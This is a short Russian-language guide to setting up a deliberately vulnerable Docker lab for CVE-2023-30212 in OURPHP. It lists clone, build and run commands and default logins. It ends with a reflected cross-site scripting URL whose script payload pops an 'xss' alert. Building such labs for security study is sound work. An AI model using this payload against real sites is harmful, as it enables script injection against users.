Создание уязвимой Docker-среды CVE-2023-30212-

Загрузка файлов из моего репозитория с помощью git clone

git clone https://github.com/JasaluRah/Creating-a-Vulnerable-Docker-Environment-CVE-2023-30212-.git

теперь для настройки docker-образа

Создание docker-образа

используйте команду sudo docker build -t work .

Запуск docker-контейнера

используйте команду sudo docker run -d -p 80:80 work

теперь мы получим id контейнера

Просмотр OURPHP

перейдите в браузер и введите localhost; 127.0.0.1 теперь используйте учетные данные имя пользователя : root пароль : docker база данных : work

Вход как администратор

имя пользователя : work пароль : work

Проверка уязвимости

перейдите по URL http://localhost/client/manage/ourphp_out.php?ourphp_admin=logout&out=</script><script>alert("xss")</script> мы получим уведомление с сообщением "xss".